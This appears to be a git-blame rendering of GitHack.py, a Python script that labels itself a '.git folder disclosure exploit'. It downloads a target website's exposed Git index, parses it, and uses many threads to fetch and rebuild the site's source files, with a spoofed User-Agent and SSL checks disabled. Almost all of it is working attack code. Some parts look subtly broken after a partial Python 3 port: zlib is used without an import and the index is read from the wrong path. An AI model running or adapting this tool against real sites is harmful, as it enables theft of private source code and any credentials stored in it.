2020-02-06 22:19:31 +01:00
|
|
|
#!/usr/bin/env python
|
|
|
|
|
2020-06-03 19:21:25 +02:00
|
|
|
from urllib.parse import urlparse
|
2020-02-06 22:19:31 +01:00
|
|
|
import threading
|
|
|
|
import collections
|
2020-06-03 19:21:25 +02:00
|
|
|
import binascii
|
|
|
|
import requests
|
2020-02-06 22:19:31 +01:00
|
|
|
import struct
|
2020-06-03 19:21:25 +02:00
|
|
|
import queue
|
|
|
|
import time
|
|
|
|
import ssl
|
2020-02-06 22:19:31 +01:00
|
|
|
import sys
|
2020-06-03 19:21:25 +02:00
|
|
|
import os
|
|
|
|
import re
|
2020-02-06 22:19:31 +01:00
|
|
|
|
|
|
|
def check(boolean, message):
|
|
|
|
if not boolean:
|
2020-06-03 19:21:25 +02:00
|
|
|
print("error: " + message)
|
|
|
|
exit(1)
|
2020-02-06 22:19:31 +01:00
|
|
|
|
|
|
|
def parse(filename, pretty=True):
|
2020-06-03 19:21:25 +02:00
|
|
|
with open(filename, "rb") as f:
|
|
|
|
# f = mmap.mmap(o.fileno(), 0, access=mmap.ACCESS_READ)
|
2020-02-06 22:19:31 +01:00
|
|
|
|
|
|
|
def read(format):
|
|
|
|
# "All binary numbers are in network byte order."
|
|
|
|
# Hence "!" = network order, big endian
|
|
|
|
format = "! " + format
|
|
|
|
bytes = f.read(struct.calcsize(format))
|
|
|
|
return struct.unpack(format, bytes)[0]
|
|
|
|
|
|
|
|
index = collections.OrderedDict()
|
|
|
|
|
|
|
|
# 4-byte signature, b"DIRC"
|
|
|
|
index["signature"] = f.read(4).decode("ascii")
|
|
|
|
check(index["signature"] == "DIRC", "Not a Git index file")
|
|
|
|
|
|
|
|
# 4-byte version number
|
|
|
|
index["version"] = read("I")
|
|
|
|
check(index["version"] in {2, 3},
|
|
|
|
"Unsupported version: %s" % index["version"])
|
|
|
|
|
|
|
|
# 32-bit number of index entries, i.e. 4-byte
|
|
|
|
index["entries"] = read("I")
|
|
|
|
|
|
|
|
yield index
|
|
|
|
|
|
|
|
for n in range(index["entries"]):
|
|
|
|
entry = collections.OrderedDict()
|
|
|
|
|
|
|
|
entry["entry"] = n + 1
|
|
|
|
|
|
|
|
entry["ctime_seconds"] = read("I")
|
|
|
|
entry["ctime_nanoseconds"] = read("I")
|
|
|
|
if pretty:
|
|
|
|
entry["ctime"] = entry["ctime_seconds"]
|
|
|
|
entry["ctime"] += entry["ctime_nanoseconds"] / 1000000000
|
|
|
|
del entry["ctime_seconds"]
|
|
|
|
del entry["ctime_nanoseconds"]
|
|
|
|
|
|
|
|
entry["mtime_seconds"] = read("I")
|
|
|
|
entry["mtime_nanoseconds"] = read("I")
|
|
|
|
if pretty:
|
|
|
|
entry["mtime"] = entry["mtime_seconds"]
|
|
|
|
entry["mtime"] += entry["mtime_nanoseconds"] / 1000000000
|
|
|
|
del entry["mtime_seconds"]
|
|
|
|
del entry["mtime_nanoseconds"]
|
|
|
|
|
|
|
|
entry["dev"] = read("I")
|
|
|
|
entry["ino"] = read("I")
|
|
|
|
|
|
|
|
# 4-bit object type, 3-bit unused, 9-bit unix permission
|
|
|
|
entry["mode"] = read("I")
|
|
|
|
if pretty:
|
|
|
|
entry["mode"] = "%06o" % entry["mode"]
|
|
|
|
|
|
|
|
entry["uid"] = read("I")
|
|
|
|
entry["gid"] = read("I")
|
|
|
|
entry["size"] = read("I")
|
|
|
|
|
|
|
|
entry["sha1"] = binascii.hexlify(f.read(20)).decode("ascii")
|
|
|
|
entry["flags"] = read("H")
|
|
|
|
|
|
|
|
# 1-bit assume-valid
|
|
|
|
entry["assume-valid"] = bool(entry["flags"] & (0b10000000 << 8))
|
|
|
|
# 1-bit extended, must be 0 in version 2
|
|
|
|
entry["extended"] = bool(entry["flags"] & (0b01000000 << 8))
|
|
|
|
# 2-bit stage (?)
|
|
|
|
stage_one = bool(entry["flags"] & (0b00100000 << 8))
|
|
|
|
stage_two = bool(entry["flags"] & (0b00010000 << 8))
|
|
|
|
entry["stage"] = stage_one, stage_two
|
|
|
|
# 12-bit name length, if the length is less than 0xFFF (else, 0xFFF)
|
|
|
|
namelen = entry["flags"] & 0xFFF
|
|
|
|
|
|
|
|
# 62 bytes so far
|
|
|
|
entrylen = 62
|
|
|
|
|
|
|
|
if entry["extended"] and (index["version"] == 3):
|
|
|
|
entry["extra-flags"] = read("H")
|
|
|
|
# 1-bit reserved
|
|
|
|
entry["reserved"] = bool(entry["extra-flags"] & (0b10000000 << 8))
|
|
|
|
# 1-bit skip-worktree
|
|
|
|
entry["skip-worktree"] = bool(entry["extra-flags"] & (0b01000000 << 8))
|
|
|
|
# 1-bit intent-to-add
|
|
|
|
entry["intent-to-add"] = bool(entry["extra-flags"] & (0b00100000 << 8))
|
|
|
|
# 13-bits unused
|
|
|
|
# used = entry["extra-flags"] & (0b11100000 << 8)
|
|
|
|
# check(not used, "Expected unused bits in extra-flags")
|
|
|
|
entrylen += 2
|
|
|
|
|
|
|
|
if namelen < 0xFFF:
|
|
|
|
entry["name"] = f.read(namelen).decode("utf-8", "replace")
|
|
|
|
entrylen += namelen
|
|
|
|
else:
|
|
|
|
# Do it the hard way
|
|
|
|
name = []
|
|
|
|
while True:
|
|
|
|
byte = f.read(1)
|
|
|
|
if byte == "\x00":
|
|
|
|
break
|
|
|
|
name.append(byte)
|
|
|
|
entry["name"] = b"".join(name).decode("utf-8", "replace")
|
|
|
|
entrylen += 1
|
|
|
|
|
|
|
|
padlen = (8 - (entrylen % 8)) or 8
|
|
|
|
nuls = f.read(padlen)
|
2020-06-03 19:21:25 +02:00
|
|
|
check(set(nuls) == set([0]), "padding contained non-NUL")
|
2020-02-06 22:19:31 +01:00
|
|
|
|
|
|
|
yield entry
|
|
|
|
|
|
|
|
f.close()
|
|
|
|
|
|
|
|
class Scanner(object):
|
|
|
|
def __init__(self):
|
|
|
|
self.base_url = sys.argv[-1]
|
2020-06-03 19:21:25 +02:00
|
|
|
|
|
|
|
self.domain = urlparse(sys.argv[-1]).netloc.replace(':', '_')
|
2020-02-06 22:19:31 +01:00
|
|
|
if not os.path.exists(self.domain):
|
|
|
|
os.mkdir(self.domain)
|
2020-06-03 19:21:25 +02:00
|
|
|
|
|
|
|
print('[+] Download and parse index file ...')
|
2020-02-06 22:19:31 +01:00
|
|
|
data = self._request_data(sys.argv[-1] + '/index')
|
2020-06-03 19:21:25 +02:00
|
|
|
with open('%s/index' % self.domain, 'wb') as f:
|
2020-02-06 22:19:31 +01:00
|
|
|
f.write(data)
|
2020-06-03 19:21:25 +02:00
|
|
|
self.queue = queue.Queue()
|
2020-02-06 22:19:31 +01:00
|
|
|
for entry in parse('index'):
|
|
|
|
if "sha1" in entry.keys():
|
|
|
|
self.queue.put((entry["sha1"].strip(), entry["name"].strip()))
|
|
|
|
try:
|
2020-06-03 19:21:25 +02:00
|
|
|
print(entry['name'])
|
2020-02-06 22:19:31 +01:00
|
|
|
except Exception as e:
|
|
|
|
pass
|
|
|
|
self.lock = threading.Lock()
|
|
|
|
self.thread_count = 20
|
|
|
|
self.STOP_ME = False
|
|
|
|
|
|
|
|
@staticmethod
|
|
|
|
def _request_data(url):
|
2020-06-03 19:21:25 +02:00
|
|
|
print(url)
|
|
|
|
res = requests.get(url, headers={'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X)'})
|
|
|
|
if res.status_code != 200:
|
|
|
|
raise Exception("Server returned: %d %s" % (res.status_code, res.reason))
|
|
|
|
|
|
|
|
return res.content
|
2020-02-06 22:19:31 +01:00
|
|
|
|
|
|
|
def _print(self, msg):
|
|
|
|
self.lock.acquire()
|
|
|
|
try:
|
2020-06-03 19:21:25 +02:00
|
|
|
print(msg)
|
2020-02-06 22:19:31 +01:00
|
|
|
except Exception as e:
|
|
|
|
pass
|
|
|
|
self.lock.release()
|
|
|
|
|
|
|
|
def get_back_file(self):
|
2020-06-03 19:21:25 +02:00
|
|
|
|
2020-02-06 22:19:31 +01:00
|
|
|
while not self.STOP_ME:
|
2020-06-03 19:21:25 +02:00
|
|
|
|
2020-02-06 22:19:31 +01:00
|
|
|
try:
|
|
|
|
sha1, file_name = self.queue.get(timeout=0.5)
|
|
|
|
except Exception as e:
|
|
|
|
break
|
2020-06-03 19:21:25 +02:00
|
|
|
|
|
|
|
try:
|
|
|
|
folder = '/objects/%s/' % sha1[:2]
|
|
|
|
data = self._request_data(self.base_url + folder + sha1[2:])
|
2020-02-06 22:19:31 +01:00
|
|
|
try:
|
2020-06-03 19:21:25 +02:00
|
|
|
data = zlib.decompress(data)
|
2020-02-06 22:19:31 +01:00
|
|
|
data = re.sub(r'blob \d+\00', '', data)
|
2020-06-03 19:21:25 +02:00
|
|
|
except:
|
|
|
|
# self._print('[Error] Fail to decompress %s' % file_name)
|
|
|
|
pass
|
|
|
|
|
|
|
|
target_dir = os.path.join(self.domain, os.path.dirname(file_name))
|
|
|
|
if target_dir and not os.path.exists(target_dir):
|
|
|
|
os.makedirs(target_dir)
|
|
|
|
with open(os.path.join(self.domain, file_name), 'wb') as f:
|
|
|
|
f.write(data)
|
|
|
|
self._print('[OK] %s' % file_name)
|
|
|
|
except Exception as e:
|
|
|
|
self._print('[Error] %s' % str(e))
|
|
|
|
|
2020-02-06 22:19:31 +01:00
|
|
|
self.exit_thread()
|
|
|
|
|
|
|
|
def exit_thread(self):
|
|
|
|
self.lock.acquire()
|
|
|
|
self.thread_count -= 1
|
|
|
|
self.lock.release()
|
|
|
|
|
|
|
|
def scan(self):
|
|
|
|
for i in range(self.thread_count):
|
|
|
|
t = threading.Thread(target=self.get_back_file)
|
|
|
|
t.start()
|
|
|
|
|
|
|
|
|
|
|
|
if __name__ == '__main__':
|
2020-06-03 19:21:25 +02:00
|
|
|
context = ssl._create_unverified_context()
|
|
|
|
if len(sys.argv) == 1:
|
|
|
|
msg = """
|
|
|
|
A `.git` folder disclosure exploit. By LiJieJie
|
|
|
|
|
|
|
|
Usage: GitHack.py http://www.target.com/.git/
|
|
|
|
|
|
|
|
bug-report: my[at]lijiejie.com (http://www.lijiejie.com)
|
|
|
|
"""
|
|
|
|
print(msg)
|
|
|
|
exit()
|
|
|
|
|
2020-02-06 22:19:31 +01:00
|
|
|
s = Scanner()
|
|
|
|
s.scan()
|
|
|
|
try:
|
|
|
|
while s.thread_count > 0:
|
|
|
|
time.sleep(0.1)
|
2020-06-03 19:21:25 +02:00
|
|
|
except KeyboardInterrupt as e:
|
2020-02-06 22:19:31 +01:00
|
|
|
s.STOP_ME = True
|
|
|
|
time.sleep(1.0)
|
2020-06-03 19:21:25 +02:00
|
|
|
print('User Aborted.')
|